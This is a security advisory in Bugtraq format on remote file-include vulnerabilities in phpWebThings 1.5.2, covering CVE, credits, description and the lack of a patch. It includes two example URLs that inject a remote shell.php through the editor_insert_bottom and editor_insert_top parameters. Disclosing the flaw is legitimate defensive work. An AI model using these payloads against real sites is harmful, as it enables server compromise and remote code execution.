phpWebThings Editor.PHP Remote File Include Vulnerabilities

Bugtraq ID:	21178
Class:	Input Validation Error
CVE:	CVE-2006-6042
Remote:	Yes
Local:	No
Published:	Oct 25 2006 12:00AM
Updated:	Jul 06 2016 02:40PM
Credit:	BlackHawk is credited with discovering the 'editor_insert_bottom' vulnerability. titanichacker is credited with discovering the 'editor_insert_top' vulnerability.
Vulnerable:	PhpWebThings PhpWebThings 1.5.2
Not Vulnerable:

phpWebThings Editor.PHP Remote File Include Vulnerabilities

phpWebThings is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Update (June 7, 2007): Multiple parameters are affected.

phpWebThings Editor.PHP Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following examples are available:

http://www.example.com/[path]/core/editor.php?editor_insert_bottom=http://www.example2.com/shell.php
http://www.example.com/[path]/core/editor.php?editor_insert_top=http://www.example2.com/shell.php

phpWebThings Editor.PHP Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

phpWebThings Editor.PHP Remote File Include Vulnerabilities

References:

• phpWebThings Web Site (phpWebThings)
  
• phpWebThings ==>1.5.2 RFI (titanichacker)